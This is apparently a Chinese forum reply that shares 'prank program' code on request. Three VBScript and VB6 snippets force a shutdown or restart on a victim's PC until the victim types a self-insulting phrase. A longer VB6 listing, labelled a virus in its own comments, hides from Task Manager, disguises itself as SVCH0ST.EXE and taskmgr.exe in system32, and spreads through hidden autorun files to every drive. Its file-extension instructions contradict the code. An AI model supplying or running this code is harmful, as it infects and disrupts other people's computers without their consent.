有哪些整人的程序?最好把代码写下来.

这是我以前保存的共享出来呢 第一个:

程序代码

以下是引用片段：

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 55 -c ""快叫哥哥，不叫让你1分钟关机，不叫，试试···"" ",0 ,true

dim a

do while(a <>"哥哥")

a = inputbox ("说我是猪,就不关机，快，说 ""哥哥"" ","叫不叫","不叫",7000,8000)

msgbox chr(13) + chr(13) + chr(13) + a,5000,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早叫就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "又没让你叫老公"

msgbox chr(13) + chr(13) + chr(13) + "记住了,锡尔丁,是你""哥哥""呀!"

msgbox chr(13) + chr(13) + chr(13) + "知道叫我什么了么?"

msgbox chr(13) + chr(13) + chr(13) + "可千万别叫错了!"

msgbox chr(13) + chr(13) + chr(13) + "知道我是谁么?"

msgbox chr(13) + chr(13) + chr(13) + "记住了""锡尔丁""?"

msgbox chr(13) + chr(13) + chr(13) + "记住了么?~~~"

msgbox chr(13) + chr(13) + chr(13) + "别恨我呀!恨我就是爱我!"

msgbox chr(13) + chr(13) + chr(13) + "爱我就得叫我""老公""了!"

msgbox chr(13) + chr(13) + chr(13) + "88,妹妹!"

第二个:

程序代码

以下是引用片段：

Option Explicit

Private Sub Command1_Click()

Dim wood As String

MsgBox "密码:骂自己", vbCritical,"木头人友情提示" '这里写捉弄人的话

wood = InputBox("请输入密码:")

If wood = "骂自己" Then '密码可以自己设

End

Else

Shell "cmd.exe /c shutdown -s -t 60" '60秒后关几

End If

End Sub

Private Sub Command2_Click()

Shell "cmd.exe /c shutdown -a"

MsgBox "不怎么好玩", vbExclamation,"不玩了"

End

End Sub

第三个:

程序代码

以下是引用片段：

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说你自己是笨蛋!你不说你电脑有什么事可别怪我啊!···"" ",0 ,true

dim a

do while(a <>"我是笨蛋")

a = inputbox ("说你自己是笨蛋。负责关机 ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说不就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你真听话!哈.."

用到的控件和界面方面自己发挥，VB的代码根据兴趣DIY...

复制此代码新建文本文档命名为 整人.vbe（名字随便起，后缀名是vbe就可以了！）

Dim num, nums '驱动器数

Dim i As Integer '文件号

Dim j As Integer 'FOR用的变量!

Private Sub Form_Load() '程序初始化！

'不准重复运行本病毒！

If App.PrevInstance Then

End

End If

'在任务管理器中隐身！

App.TaskVisible = False

'病毒自我保护函数

a0

auts

'得到当前驱动器数！

a2

'设置时间：为5000 MS 检查一次(5秒)

t1.Interval = 5000

t1.Enabled = True

End Sub

Sub a0() '病毒自我保护函数

Dim temp As String

Dim temp2 As String

On Error Resume Next

temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"

'得到系统目录！得到后，自我复制到SYSTEM32下！

For j = 0 To aa.ListCount - 1

temp2 = Trim(aa.List(j)) &"\windows"

If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

temp2 = Trim(aa.List(j)) &"\WINNT"

If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

GoTo zz1

Else

FileCopy temp, Trim(aa.List(j)) &"\winnt\system32\SVCH0ST.EXE"

FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\dllcache\taskmgr.exe"

End If

Else

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\SVCH0ST.EXE"

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\dllcache\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"

End If

zz1:

Next

End Sub

Sub a1() '感染函数

Dim temp As String

Dim temp2 As String

temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"

For j = nums + 1 To num

temp2 = Trim(aa.List(j)) &"\auto.exe"

FileCopy temp, temp2

i = FreeFile

Open Trim(aa.List(j)) &"\autorun.inf" For Output As #i

Print #i, "[Autorun]"

Print #i, "open=auto.exe"

Close #i

SetAttr Trim(aa.List(j)) &"\autorun.inf", vbHidden

SetAttr Trim(aa.List(j)) &"\auto.exe", vbHidden

Next

End Sub

Sub a2() '得到当前驱动器数！

num = aa.ListCount - 1

If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

i = FreeFile

Open "c:\.a" For Output As #i

Print #i, num

Close #i

End If

End Sub

Private Sub t1_Timer() '时间函数

num = aa.ListCount - 1

i = FreeFile

Open "c:\.a" For Input As #i

Line Input #i, nums

Close #i

nums = Trim(nums)

nums = Int(nums)

If num <>nums Then

If num >nums Then

a1

End If

If num <nums Then

i = FreeFile

Open "c:\.a" For Output As #i

Print #i, num

Close #i

End If

End If

aa.Refresh

End Sub

Sub bat() '写自我删除程序

On Error Resume Next

i = FreeFile

Open App.Path &"\killme.bat" For Output As #i

Print #i, "@echo off"

Print #i, "sleep 1000"

Print #i, "del " &App.EXEName + ".exe"

Print #i, "del killme.bat"

Print #i, "cls"

Print #i, "exit"

Close #i

Shell App.Path &"\killme.bat", vbHide

End

End Sub

Sub auts() '自我感染全驱动器

On Error GoTo err1

Dim file_temp As String

i = FreeFile

Open "c:\autorun.inf" For Output As #i

Print #i, "[Autorun]"

Print #i, "open=autorun.exe"

Close #i

file_temp = Trim(App.Path &"\" &App.EXEName &".exe")

FileCopy file_temp, "c:\autorun.exe"

SetAttr "c:\autorun.inf", vbHidden

SetAttr "c:\autorun.exe", vbHidden

Dim dirid As Integer

For dirid = 100 To 122

MsgBox Chr(dirid)

FileCopy "c:\autorun.exe", Chr(dirid) &":\autorun.exe"

FileCopy "c:\autorun.inf", Chr(dirid) &":\autorun.inf"

SetAttr Chr(dirid) &":\autorun.inf", vbHidden

SetAttr Chr(dirid) &" :\autorun.exe", vbHidden

Next

err1:

End Sub

后缀改为vbs

---